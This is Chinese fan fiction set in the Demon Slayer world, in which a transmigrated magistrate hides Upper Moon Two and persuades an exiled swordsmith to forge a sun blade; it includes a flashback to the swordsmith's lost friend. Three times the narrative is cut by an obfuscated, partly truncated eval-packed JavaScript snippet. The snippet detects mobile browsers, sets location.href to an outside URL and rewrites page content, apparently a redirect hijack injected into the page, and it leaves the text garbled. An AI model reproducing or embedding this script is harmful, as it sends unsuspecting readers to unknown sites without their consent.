白城系上外袍的腰带,感受着熹微的晨光亲吻皮肤的触感,不动声色地吐出一口浊气。 好早上弦二暂时稳住了,虽然稳住他的代价是透露了自己能晒太阳的事实。 这个事实一定要捂住,一旦让无惨知道自己有可以晒太阳的可能,无惨必定不惜一切代价吃掉自己。 到时候鬼杀队全员加一起都保不住自己。 更何况鬼杀队那边也不定是敌是友。 鬼杀队要是知道无惨吃了自己就能正常行走于阳光之下,说不定主公大人第一个命令就是不惜一切代价绞杀自己。 这一届的主公还不知道是什么性格,白城有派人去打听产屋敷一族的消息,但在不暴露自己信息的情况下,对面不愿意派高层来跟自己沟通。 总之联系鬼杀队那边还得从长计议。 白城脑子有点痛。 他把视线落回上弦二的身上,眼前这家伙才是最为棘手的问题。 上弦二知道白城能晒太阳,所以短期内势必不能把他放回无惨身边。 但如果带在自己身边,无惨能感应到上弦二的位置随时会找来。 同时无惨这么多疑的人,发现上弦二一直没有回复自己的消息,一定会起疑心。 而自己已经没有能量去屏蔽上弦二跟无惨的二次对话了。 尽是死局,自己的存在根本捂不住。 白城只能祈祷无惨起疑心的时间能晚些,让自己做准备的时间再多些…… 白城别无他法。 白城只能祈祷。 镜子里的自己白发灰眸,长相陌生,就连眉眼都生出上辈子不曾有的杀伐之气。 白城勾勾唇角,试图柔和视线,找回先前那个温暖和煦的眼神,但怎么都不对味。 他有些想家,想手机空调电脑,想幼稚园里那些吵吵闹闹的小孩,想自己的出租屋,想中国的炒菜。 日式料理真的受够了。 这个该死的世界,真的受够了! 但最后,他也只是垂头系上了自己的腰带。 “我要出去一趟。”白城吩咐上弦二,“你在这里等我回来。” “乖一点。”半只脚都跨出门槛了,白城又回头叮嘱了一句,“不准吃人。” 上弦二勾出一个腼腆的笑来,懒懒地躺在床边阴影里,朝白城摆了摆手,示意他知道了。 动作不算尊重。 白城知道他在试探底线。 但此刻手无缚鸡之力,只能听之任之。 白城今早要去城南的一家打铁铺,理由很简单——那家店铺老板的抽屉里藏着半块半天狗的面具。 这是前些天他走访铺子意外发现的。 自落地第一天起,白城就拜托小黑去探查刀匠村的消息,但一无所获。 想来也是,刀匠村本就是隐世村落,消息被产屋敷一族锁死,锻刀技术基本依靠现场教学代际相传。 村里自给自足是独立小型社会,少与外界接触,工匠流落到民间基本是天方夜谭。 老实说,白城不认为那个打铁铺老板跟刀匠村能有什么联系。 但眼下……别无他法。 走出奉行町,白城便右拐抄小路往南走。 与此同时,一墙之隔,狛治背着恋雪往町奉行所冲。 一南一北,擦肩而过。 走到打铁铺的时候,日头已经上来了。 打铁铺门窗紧锁,营业的牌子还没有挂出来。 白城没办法,只能站在门口等,顺手去隔壁买了个饭团愤愤咬着。 勤劳爱岗,工作就给我认真工作啊! 睡到日上三竿到底是怎么一回事! 有求于人,到底不敢露出半点不满,哪怕现在脑袋都拴在裤腰带上了,白城也只能把一切负面情绪全部施加在饭团上。 咬!狠狠咬!大口咬! 三口下去,饭团没了。 “大娘,再给我来一个饭团,要金枪鱼的。” “好嘞。” “大娘,再来一个。” “小伙子真能吃哈!” 是你们胃口太小了。 白城内心吐槽,脸上笑着。 就在白城已经吃饱了,正在犹豫要不要买第四个饭团以作消遣的时候,屋内终于传来些许响动。 不消一会,一个满脸络腮胡的大叔睡眼惺忪,揉着眼随手拉开了门——而后被仪容齐整立在门口的白城吓了一大跳。 “我嘞个乖乖,你在这干啥子咧!”大叔猛地往后一仰,剑眉一皱,嘴上骂道,“大早上的,吓死个人,真他娘的晦气。” “算了……看起来今天运气不好。”大叔嘟嘟囔囔地拉上门,把手里准备换面挂的营业牌子又翻了回去,“正好睡个回笼觉。” 你去睡觉了我怎么办…… 告诉我!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543982|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> tellme! why?baby?why? 昨晚没睡好,以至于此刻一连串互联网音频已经在白城脑子里循环播放了。 白城轻轻抹了把脸,甩去胡思乱想,抬手拦住了木门,“抱歉,我有急单。” “急单也不做。”络腮胡把白城手一拨。 白城干脆撩开帘子,半个身体卡进门里,“真急单。” 他抬眼,烟灰色的眸子亮着,“非您不可的急单。” 络腮胡一愣,也不推白城了,站在原地给他从头到脚打量了三巡。 白城自认自己已经用尽了这具身体的美貌,笑出平生最具亲和力的笑容。 而后肩膀传来一股大力。 下一秒,猛地被络腮胡推得踉跄三步,绊倒门槛,差点摔倒。 门砰得在眼前合上,扬起一片混着酒气的尘土。 白城灰头土脸,舔了舔自己的牙齿。 上弦二都没能让自己这么狼狈。 白城后退三步,仔细从满是灰尘的招牌里辨认出字来,而后再次礼貌敲门。 “干什么?”络腮胡拉开门,只露一个小缝,布满红血丝的眼球从缝里透出来,“再吵我报官了啊!” “铁牛打铁铺。”白城轻声念着打铁铺的名字。 “?”铁牛不解。 “没什么,敲门就想告诉您。”白城这回倒真是笑得真心实意,“在下姓白,名城,是江户城的奉行。” “今天这门,您还真得开。” “不然,你也不想被捕吏包围吧?” 络腮胡怔在原地。 “如果您还想在这继续做生意的话……”白城礼貌笑笑,“还是放我进去谈谈比较好,你觉得呢?” 门砰地关上。 白城看着原木色的门扉,方觉有些不妙。 不到半秒,络腮胡扎着小辫,热情满面地拉开门,腰躬着手迎着,“哟,客官,来打铁啊,里面请里面请!” 以势压人,真他妈好用! 权力!懂不懂什么叫权力! “哪里哪里。”白城也同样福了福身,笑容满面地恭维道,“我才刚来,就撞上您营业,这不巧了吗!” “诶哟!哪里的话。”铁牛自知让白城久等了,“我这还有昨天在地里刚摘的西瓜,顾客送的,还没开呢,您要不来一口?放井水里冰着,眼下吃正好呢!” “不劳烦了。”两人你来我往好一会,走到柜台边,白城终于切入正题,直勾勾地看着铁牛,“我来锻一柄刀,一柄赫刀,一柄赤红如铁的刀。” 方才还闹腾的室内突然静了。 铁牛也缓缓把背直了起来,常年浸于酒色的眸子变得锐利,像鹰一样直勾勾地回望,“奉行大人,您说笑了,在下只会打铁,不会锻刀。” 与此同时,町奉行所。 狛治把恋雪安置在自己房里,而后直奔白城书房去。 “欸欸欸,狛治。”小黑拦住了他,“奉行大人让我在这守着,说今天一个人都不让进去。” “?”狛治又想到昨天在书房门口嗅到的那丝气味,当时没发觉,现在想来就是血的味道,他直说,“我昨天在里面闻到了血腥味,我怕他出事。” “奉行大人今早出去了。” “面色怎么样?” “苍白,像是没睡好。”小黑回忆。 “让我进去看看。”狛治攥住小黑的手,“就一下,我担心他。” 小黑也觉得昨夜白城让自己回去睡觉有些怪。 两个人一合计,小黑就放狛治进去了。 狛治熟门熟路,在外间随便扫视两眼,便大步往内间走。 内室一眼扫去无恙,唯有床帘严丝合缝地关着。 没拉床帘? 狛治心生奇怪,往前靠近两步,而后僵在了原地。 里面有声音,呼吸声,气息绵长,不似白城。 还未等他先动作,门帘就已经缓缓拉开一角。 上弦之二匿在阴影里看着他。 “你是谁?!” 15. 刀匠 狛治死死盯着床榻上的人。 他能感觉到,这人很强,非常强。 他真的是人吗? 狛治脑子里突然冒出这个想法,真的有人的眼睛是纯黑的,没有一丝眼白吗? “你是谁?”狛治问他。 稚澄不语,只是咧开嘴,舔了舔自己的牙齿,让狛治看自己猩红的舌尖。 “你为什么在白城大人屋里?”狛治语调升高,上前两步,攥住床帘,本想拉开,却发现自己身体僵在原地,完全不能动弹。 “嘘——”稚澄把指尖比在唇前竖着,“小朋友,要安静。” “原来他叫白城啊……”稚澄回味着昨晚的味道,舌尖缱绻地念着名字,“白……城……白城……白城白城。” “真是个好名字。”他低低地笑。 狛治瞪着眼睛看他。 “白大人那么强,我怎么可能对他做什么呢?”稚澄微微一笑,换为跪坐在床,向狛治轻轻行礼,“初次见面,虽然有些不礼貌。” “我名叫稚澄,白大人昨晚叫我留宿在此。” 狛治依旧僵硬不能动。 稚澄皱眉看他,而后恍然大悟,“不好意思,没注意你动不了。” “保持礼貌,不要让阳光晒到我。”稚澄笑眯眯地跟狛治打商量,“可以吗?小朋友。” “我毕竟是白大人的客人,你也不想他回来生气吧?” 狛治还瞪他。 “答应的话,就眨眨眼。” 狛治僵持半秒,缓缓眨动眼皮。 “不对哦,这个眼神不乖噢。”稚澄像教导幼稚园的孩子那样,侧头表示不赞同。 狛治面部肌肉抽动了两下,过了许久,再次眨了眨。 稚澄也玩够了,打了个哈欠,往被子上一窝,“可以动了,要礼貌噢~” 狛治这才发现身体已经麻了。 差距是天堑。 “你不是人。”狛治笃定。 “噢?”稚澄兴味盎然地问,“那我是什么?你觉得我像什么?” “鬼。”狛治一字一顿,“吃人的鬼。” “你喜欢吗?”稚澄贴近狛治的脸,在阴影的边缘嗅着他。 “恨。”狛治不敢多说,只是直勾勾地盯着他。 影刃覆盖上表面的皮肤,稚澄把手伸到太阳下揉了揉狛治的脸蛋,“真可爱啊~” 影刃一进阳光,像水滴落入烧干的红锅,嘭地就消散了,但稚澄早在前一秒缩回了阴影里,“既然来了就陪我坐一会吧小鬼。” 稚澄懒懒把团成一团的被子往上提了提,修长的腿夹住,如墨的长发就散在床单上。 “他允许你上他的床?”狛治皱眉,问出的却是风马牛不相干的话题。 “嗯。”稚澄眨巴眼睛,“他很热情,很大方。” “你们什么关系?”狛治并不想给自己找一个后妈。 “……”稚澄仰头作思考状。 狛治有些紧张,要知道在此之前,他还是白城唯一宠爱的小孩! “秘密。”稚澄朝他抛了个媚眼,而后故作神秘。 “……” 不能说脏话。 我答应过白城大人,不能说脏话。 狛治一口牙都咬碎了,闷闷坐到外头桌上,给自己灌了一大壶茶。 “好喝吗?”稚澄逗他,“白大人昨晚特地为我一个人泡的。” 狛治扭头瞪他,过了一会,缓缓扬出一个恶劣的笑来,“想喝吗?自己出来拿啊。” 说罢,仰头大口灌着。 “还是热的好喝。”稚澄也不恼,笑眯眯地继续逗他。 城南,打铁铺。 “奉行大人,真的。您看我就是个小本生意,哪会锻刀那么高深的技法啊?”铁牛一拍脑袋,“你说这打铁都是我自个一个人琢磨出来的,这锻刀也没老师教啊。” “哦?”白城不动声色,只是陪着笑脸,一边在他屋里闲逛,“这内室能进吗?我最近正在考虑内室布局,正想参考参考。” 骗鬼的理由。 但官大一级压死人。 “可以是可以。”铁牛爽朗一笑,“就是可能不太好看。” 他把门一拉,满室酒气扑面而来。 白城面上没有半点表现,只是沉眉往里走,一不小心踢到空酒壶,瓶身轱辘滚到墙边停住。 “您酗酒?”他蹲下身,扶起倒地的壶身。 “偶尔喝喝。”铁牛挠头,“助眠么不是。” “度数可不低。”白城嗅了嗅,“睡不着?有烦心事?” “嗐!”铁牛摆摆手,“别说我一个打铁匠了,就连您都有烦心事,我怎么可能没有呢!对吧!” “说来听听,说不定我能帮你解决。”白城漫不经心地把玩着酒壶。 “心病。”铁牛打哈哈,“医生都瞧了,没用。” “那医生知不知道……”白城不知何时已经转到柜台旁,迅雷不及掩耳之势打开抽屉,手指在其中摸索两下,果不其然摸到上次看到的半截面具。 面具的漆早已斑驳,面部赤红如血,双眉漆黑如怒,最标志性的长鼻已然断裂,鼻梁左侧三毫米的位置断面平整,像是用刀砍的。 铁牛先是伸手想拦,但看白城已经拿在手里端详,粗大的指尖动了动,便再没说话。 白城捻了捻面具,反过来,把它放在铁牛脸上比划,“合适,面宽正好,头围也正好,鼻子是鼻子,眼睛是眼睛的,这不巧了么。” “嗐,小孩玩的面具。”铁牛打哈哈。 “我见过这面具。”白城视线如刀,吐出关键字,“半天狗,刀匠村。” “奉行大人。”铁牛在面具后的声音也冷了下来,“我不锻刀,不会锻刀,如果没事,还请回吧。” 白城摇头,在身后的墙面找到了一个突出的铁钉,把面具挂上去正好,不歪不斜,分毫不差,“你是从刀匠村被赶出来的。” “我能让你回去。” “你是谁?” “让你名垂青史的人。” 铁牛嗤笑一声,“请回吧,奉行大人。在下没听说过什么刀匠村。” “那这个半天狗面具呢?”白城巡视着这间铺子,来之前他派人查过资料,“你十年前来到江户,租了这间铺子,开了这间打铁铺。” “干活麻利,手艺好,有口皆碑,农具蹄铁有个磕碰,十里八乡都愿意来找你补。” “这么多年的收益早该把这间铺子买下了。”白城靠近他,轻抬下巴,贴近他的眼睛,“为什么不买呢?明明在这住得很舒服不对吗?” “一个人在一座城,只租不买,要么房价在跌,要么他没钱,要么他在这座城没法养老,入不敷出。” “有没有可能只是不喜欢呢?”铁牛无奈地笑。 “有可能。当然有可能。”白城绕着他踱步,“那又为什么要在一个不喜欢的城市待十年呢?明明你的手艺在任何一个地方都能够吃得上饭。” “为什么呢?”白城打了个响指,“因为江户也好,京都也好,大阪长崎它们都不是刀匠村。” “你想回去,但回不去。你想锻刀,但不能锻刀。” “所以只能整日酗酒,用日复一日的打铁和酒精来麻痹自己。” 铁牛面无表情,常年打铁的身体健壮,整个人像山一样,没有否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543983|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你也知道,我出来十年了。” “一个被驱逐的人,能锻出什么你想要的剑来?” “我没有锻刀的天赋。” “你的铁打得很好。”白城从他工作台边拿起他已经帮人修补完成的破锅,锅底原本裂了个大洞,此刻却被铁补上,锻造如新,“镰刀、锄头、锹、犁头、锯、斧、锤子,武器尤甚。” “所以呢?” “面具都破了一半呢,你为什么还好好存着呢?” 铁牛不语。 “你爱锻刀。”白城轻叹一声,“刀匠村世世代代为鬼杀队锻刀。” “日复一日,兢兢业业,代代相传。” “却始终没人锻出那把能杀死鬼舞辻无惨的刀来。” 听到鬼舞辻的名字,铁牛瞳孔骤缩。 “给我锻一把刀。”白城轻声慢语,张开手臂,“一柄赫刀,一柄赤红如铁的刀。” “一柄能杀死鬼舞辻无惨的刀。” “我会是杀死鬼舞辻的剑士。”白城走到太阳洒满的角落,猛地旋身看向铁牛,“而你是砍下无惨头颅的那柄刀的锻造者。” “那柄赫刀刀背会刻上你的名字,会世世代代被后人景仰!” “无数人会在博物馆的一次不经意地回首中看到你的作品。” “钻研多年的学者大师会特地组成团队试图复刻你锻刀的过程。” “人们会交口称颂这神之技法,曾在江户时代,创造出不可置信的奇迹!” “刀匠村会后悔把你一个天才这么逐出去。”白城不知何时又蹿到铁牛耳边,声音如同大海塞壬,轻声引诱着,“最有名望的长老会悔不当初,会低声下气三谒九叩地求你回去。” “闭嘴!”铁牛猛地攥住自己的头发狠狠往下一扯,如铁般坚实的双臂高举着猛地向下一挥,眼睛赤红地盯着白城,“不准你这么侮辱刀匠村!大家世世代代都潜心研究锻刀,不准你这么恶意地去……” 铁牛语塞,说不出来。 “去什么?用功利心来揣摩他们的钻研?用成果来量化他们的付出?”白城适时补上。 铁牛喘着粗气。 “但你心动了……”白城的拳头轻轻抵住铁牛的心脏,注视着他眼底死灰复燃的野心,“你心动了。” 说罢,他轻轻一笑,后退半步。 那抵住心脏的力道就猝地散了。 铁牛猛地抬头望向白城,甚至不自觉地向前走了半步。 可白城抬眼,往屋外看,此刻艳阳高照,阳光刺眼,他抬手遮了遮眼睛,“肚子饿了,我去吃碗面。” 他留给铁牛思考的空间,“一个时辰后,我会来找你。” “希望您,能给出一个满意的答复。” 拉开木门离开的时候,白城扭头,白皙的脸因为背光看不分明,于是那双烟灰色的眸子就更加真诚,“实不相瞒,我觉得你是个天才,锻刀的天才。” “您能锻出一柄世界上最完美的刀。” 他走了。 门被轻轻阖上。 大片扑洒进来的阳光被门再次遮挡,酒气重新萦绕在这间屋子里。 铁牛站在原地愣了好一会,有些蹒跚地回身,走到了柜台前。 红黑的面具静静躺在桌上。 铁牛凝视老久。 五分钟。 十分钟。 或是更久。 伴随一声为不可闻的叹息,布满老茧的指尖轻轻的点在半天狗的鼻面。 而后一整张手都覆了上去。 指肚轻柔拂开浮尘。 铁牛一屁股倒在躺椅上,把面具拿在手里,高高举在眼前,就那么望着。 16. 牛虎 “我一定会锻出天下第一的刀!” 漆黑的刀直指天空,刀面映着浅草斜阳,少年雄心壮志迎风流泪,朝着脚下的村落放声大喊,激得水边的鸭子都潜进水底。 山顶风大,背后披着的红色床单猎猎作响。 “铁牛回去了。”旁边一个小手替他转了转刀,一边用手挡开往自己脑袋上盖的被单,“阿妈要是知道你又偷偷拿床单披肩上,你又要挨揍了。” 铁牛回家的时候,总觉得视野里有黑点,拿着指头一个劲地揉,没看路一个踉跄差点滚下去,“虎子,你帮我看看是不是沙子进眼睛了,” “我可不能瞎,我瞎了世界上就损失一个珍贵的锻刀天才了。” 虎子踮起脚,捧住他的脸,仔细瞧,“没有。” “一定有,你再仔细瞧瞧!”铁牛不信,咯吱窝夹着刀,自己拨开眼皮,往虎子脸上凑,“总有黑点,四处乱跑,还彩色的。” “太阳刺到了就会这样。”虎子放下心来,“过一会就好了。” “我不信,太阳为什么刺我不刺你?”铁牛觉得虎子在糊弄自己。 因为你用刀指太阳的时候,阳光射在刀面,全反进你眼睛了。 虎子心想。 但虎子不说,只是乖乖跟在铁牛身后,摇头道:“我也不知道。” “宫本铁牛!你又把床单拿出去玩!我今天刚洗的!”一进门阿妈提着个笤帚就冲上来了。 笤帚是今年高粱穗新编的,甩在腿上就是一道道印。 虎子一边帮拦,一边劝架,没一会小臂全红了。 两人趴在床上涂药的时候,铁牛很郑重地拍了怕他的肩膀,“等我以后发达了,一定带着你小子。” “够义气。”铁牛比了个大拇哥。 虎子抬头看他,然后点了点头,“你如果成为世界第一的锻刀师,那我就要当世界第二。” “我们永远也不要分开。” “我答应你。”铁牛一拍胸口,“拉钩,骗人是小狗。” 虎子伸出小指头勾了上去。 “欸欸欸,大拇指要这样。”铁牛把人重新拽回来,掰着人的大拇指,“这样印到一起才算数。” 指尖软软抵在一起,用力到发白。 “说好了哦。”铁牛说。 虎子认真看着自己的大拇指,朝铁牛点头,“嗯,说好了。” ———— “铁牛,我们回去吧。”风箱呼呼响,虎子站在炉火边,火光印得脸颊火红火红的,“天黑了,再晚,阿妈会担心的。” 铁牛头也没抬,一手拉着风箱,专心致志地盯着火炉的温度,等铁块变成橙红色,立马钳出来,放在铁砧上。 还没等抡起大锤,就听见虎子低声说,“温度低了,还得再烧一会。” 铁牛仔细观察了一下,“那就再烧一会。” 铁块又放回炉子里加热,铁牛拉着风箱,两个人沉默地看着炉膛橙红的光。 “虎子你走吗?”虎子的同学扯他袖子,催促他,“再晚门口的团子就没了!” “你们先回吧。”虎子拨开同学的手,“我等他。” 同学对视两眼,推推搡搡地走了,“明天师父说我们可以正式开始锻刀了。” “你说我能不能一次成功锻出一把日轮刀来?”同伴们叽叽喳喳地声音远去了。 “你先回去吧虎子。”铁牛过了一会才想起来虎子在等自己,朝他笑笑,“我再多练会。” “我陪你吧。”虎子抱着膝盖蹲在旁边。 “好。”铁牛答应了。 “可以了。”虎子一直在观察炉膛的温度还有铁料的状态。 铁牛再一次把铁料钳出来,抡起大锤往铁砧上砸。 力道有些大了。 节奏也不对。 虎子蹲在旁边看着。 “你往远处去些,别刮到你了。”铁牛推推他的肩膀。 虎子摇头,仰头看他,“你不会的,我相信你。” 铁牛一愣,而后揉了揉他的头发。 两人锻菜刀锻到很晚。 “托你的福。”铁牛对着铁砧上的料子左看又看,很满足,“好像有点成型了。” “好!回家!明天继续!”铁牛拍拍手,清了灰,关了炉膛,整好工具,虎子就在旁边给他打下手。 明月落入竹林缝里,地上疏影横斜,铁牛神采奕奕,掰着指头在算,“这个月好好锻好菜刀。” “下个月就能晋升到中级班,学习锻造复合料子了!” “在下个月就能追上你,就也能开始锻日轮刀了。” “嗯。”虎子跟着他的影子,“打好基础最重要,后面都很快的。不难。” “对!”铁牛朝着空气挥挥拳头,“加油加油!” “对了铁牛。” “嗯?” “关于打铁的力道……”虎子轻声慢语地拆碎了跟他讲。 “噢!原来是这样。”铁牛恍然大悟,“我明天试试。” ———— “欸,铁牛。”杂役清扫着炉膛,“你怎么还在这锻料子,今天是鬼杀队柱来挑选刀匠的日子,你怎么不去看看?” 说完又顺着大门往庆典方向看,面露羡慕,“你说人和人的差距真大啊,怎么虎哥就那么天才呢?” “欸……听说虎哥第一次锻日轮刀,就一次成功了。” “这对时机和火候的把握都不是盖的。” “这就是天才吗?” 铁牛一锤一锤往料子上抡,手臂的肌肉绷得死紧,努力控制着力道和节奏,没有分心半点。 晚上十一点,铁牛清扫完炉膛,在竹林口遇到了等自己的虎子,“其实不用等我的。” 铁牛跟他一块往家走。 虎子说:“没有等,忙完就这个点了。” 自从虎子在同龄人里出名后,铁牛就不让他来自己的锻造室了。两人约着每天在竹林碰头,再一起回家。 两人沉默,一路无话。 “今天……有柱来了啊?”铁牛踩着竹叶的影子,故作平淡,“你有被挑中吗?” 虎子没有说话。 “没被挑中也没关系,你才第一年参选,今年失败,明年说不定就能给葵级队士锻刀,过两年说不定还能给甲级锻呢。”铁牛看他不说话,拍拍他的肩膀安慰他,“就像你一直跟我说的,总要时间嘛……” 火柱挑中了我。 虎子嘴唇张张合合,最后一句话也没说,只是轻声“嗯”了一句。 “铁牛。”快走出竹林的时候,虎子叫住他。 “嗯?”铁牛回头。 “努力是一定会有回报的。”虎子眼神很认真,很诚恳,“每天锻造室你来得最早,走得最晚,一定会有回报的。” “专注、汗水、信仰、热爱。”虎子站在月光下,“一定会有回报的。” “只是时间早晚问题。” 铁牛靠在大树的阴影里,看不清神情,过了一会“嗐”得拍了怕虎子肩膀,“我知道,我还要当世界第一的锻刀师呢!我肯定会努力的!” “你也是!不要松懈噢!” 后来无数个日夜,铁牛都想一巴掌扇死那个拍着虎子肩膀的自己。 虎子第一次参加选拔,就成了火柱的专属锻刀师。 这件事根本瞒不住,铁牛第二天刚在炉边坐下,就听到旁人热火朝天地在夸。 眼睛亮晶晶的,手舞足蹈,音量极大,仿佛选中自己一样,与有荣焉。 “既然来了,就开始锻。”铁牛坐在一边冷眼打断了他们,“羡慕别人不如练好自己的基本功。” 旁人对视两眼,嗤笑一声,也不说话,扭头走了,换了个远的地方继续热火朝天地聊,“那个铁牛,是不是已经在中级班待了三年了?还没开始锻日轮刀啊?” “大我们五岁吧,都快被我弟赶上了,怎么好意思说这种话的?” “嫉妒吧?” “啧啧啧。” 屋外闲言碎语不断,屋内铁牛第一次抡锤子的节奏乱了。 他想不明白,能给火柱锻刀这么好的事,虎子为什么不告诉自己。 为什么不跟我分享呢? 怕我失落吗? 跟我说不出口吗? 还是维护我那可怜的自尊? 砰! 锤子轮偏,整个料子飞在空中,转了好几圈,而后滚落在地上,烫得地面滋滋响。 铁牛垂眸,提着锤子,立在地上,过了许久弯腰,用钳子把料子处理好,摘下手套离开了锻造室。 这是自他七年如一日踏进锻造室以来,第一次没有在炉火边待到半夜。 他知道,自己心乱了,就不该进来。 锻刀,要心无杂念。 锻料子,也是一样。 ———— 铁牛第一次锻成日轮刀的时候很激动,他高声想叫虎子来看。 “虎子!虎……”声音出口,才想起来虎子去鬼杀队了。 短短几年,虎子已经是柱们御用的锻刀师了。 “恭喜。”师父走了过来,也是满脸欣慰,“终于锻出一把好刀来。” “坚持没有白费啊!”师父狠狠拍了怕铁牛的背。 铁牛笑,举着日轮刀对着光看,“师父,我觉得还不够利,我再研究研究。” 他想天下第一的刀,一定削发如铁,锋利异常。 他继续日复一日心无旁骛地锻刀。 期间虎子回来一趟,在旁边看着,“铁牛,温度太低拿出来的话,淬火时容易断……现在已经足够了,再脆,实战用不久的。” 铁牛聚精会神地控制着刀背的温度,充耳不闻。 虎子站在原地抿唇。 “虎子!我今天新摘了山楂,可甜了,快来尝尝!”门外阿妈竹筐搂着一篮山楂。 “好嘞阿妈!”虎子高声应了,又看了铁牛一会,“那我先去吃。” 铁牛下巴微不可见般点点。 虎子再一眨眼,又觉得一切都像是自己的错觉。 他没办法,只能往外走。 ————— 就像虎子说的那样,刀虽然利,但太脆,刀刃一碰就出断口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543984|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>铁牛试了上万次,还是一样的结果。 “听说鬼的血能滋养日轮刀。”旁边有刀匠走过。 “啊?真的假的?” 铁牛皱着眉想,又花了整整半年,在整片竹林做了个大型陷阱。 而后在一天夜里,挪走了放在旁边的紫藤花。 鬼来得那一天,虎子正好来找铁牛。 他笑着招手,正准备跟铁牛说什么,却只看见铁牛无端放大的瞳孔,极度惊惧的模样。 虎子下意识一个迅猛地翻滚。 可下一秒还是被尖锐的长指甲直接捅穿了喉咙。 喉骨森白,血液咕噜咕噜往外涌,虎子想要张口,出来的都是嗬嗬的气泡声。 “咳!”又是一指甲,肺被捅穿了。 铁牛忙往屋里跑,从刀架上拔出日轮刀,拼了命地冲向鬼,高举着刀,大喊着往鬼脖子上砍! 他常年锻刀,双臂力量惊人,鬼空门大开,要害裸露在外面,一定能够砍断鬼的脖子! 划—— 刀刃轻易划开鬼的皮肤,铁牛大喜,还欲用力。 下一秒,鬼一拳擂上刀身。 嘣—— 像是弦被拉断。 刀身映着的世界左右震颤着。 铁牛发现刀尖离自己越来越远,越来越远……而手中只剩下半截残刀。 后面的一切铁牛都不记得了。 他只记得自己最满意的作品,一拳就被擂断了。 只记得那时候虎子还在朝自己笑,比个手势示意自己快跑。 最后的最后,他呆呆地看着虎子,看他用口型给自己比划——你一定要成为世界第一的锻刀师。 那天,阿妈死了,虎子死了。 铁牛被押送到刑堂,听人说虎子走之前手的小指勾着,拇指摁着,很奇怪的手势。 他们说不知道是什么意思。 他戴着镣铐跪在堂下,听堂上的意思要他一命赔一命。 “呸!他赔得起吗!虎子是我们刀匠村有史以来,几百年难得一遇的天才,没有他要少杀多少鬼?要多死多少鬼杀队的剑士!” “你赔的起吗你!”那人一鞭腿就扫向了铁牛的脸颊。 铁牛没躲,被一腿抽翻在地上滚了两圈,半天爬不起身。 “为什么死的不是你啊!!!” “你为什么不去救他!” 是啊,我为什么不去救他…… 我为什么没能救下他…… 我的刀……我锻了这么多年的刀,日复一日锻成的刀……为什么会在最需要的时候断…… 铁牛被人提起来,重新跪回地上。 师父求情,“要不废了他的手,把他逐出村就算了吧……” “他一直很努力,也很热爱锻刀……” “努力……努力……”那人怒极反笑,“这里的谁不努力?!努力有什么用!” “锻刀是一项技术,吃得是天赋!” “努力他妈顶个屁用啊!” “要是努力有用的话,锻的刀就不会破不会锈,就不会再有柱因为战斗中断了刀,被鬼吃掉了!” “我们每一个锻刀师,干的都是把别人脑袋栓自己裤腰上的事。” “我们要对每一个战场上的剑士,直面鬼的队员负责!” 那天的最后,铁牛全须全尾地被逐出刀匠村。 鬼杀队的柱出面保下了他。 柱说:“虎子对我有恩,他之前叮嘱过我,遇到了要好好照顾你。” 柱说:“我想他会希望你能好好活下去。” “他有什么遗物吗?”铁牛听见自己问。 柱递来了只剩下半截的半天狗面具。 铁牛接过了,塞进胸口的衣袋里。 临走前,柱想起了什么,“他的面具一直不合适。” “他跟我说,成天在鬼杀队就会想家,所以就把朋友的面具随身戴着。” 虎子站在演武场边缘看着柱试刀,“这样戴上面具,就会觉得他也在我身边。” “噢?”柱满意地收刀入鞘,“是个怎样的朋友?” “是个很厉害的锻刀师。”虎子很骄傲地勾出个谦逊的笑,“未来世界第一的锻刀师!” “哦?比你还厉害吗?”柱扭头,有些好奇。 “一定会的!”长风扬起虎子的碎发,露出他骄傲的眉眼,斩钉截铁的嗓音顺着风飘向田野,惊得野鸭乱蹿,“一定!” ———— 有人推开了门。 铁牛骤然回神。 而后看见白城推开门进来,眉角弯弯看着自己笑,“考虑得怎么样了?” “你要日轮刀来干什么?” “杀鬼舞辻无惨。” “他死了,是不是世界上所有的鬼都会消失?” “所有吃人的鬼都会消失。” “你要什么样的刀?” “最锋利的刀。” “被鬼一锤,会断。” “没关系。”白城摇头,“它只要锋利就好。” “我要一柄世界上最锋利的刀。”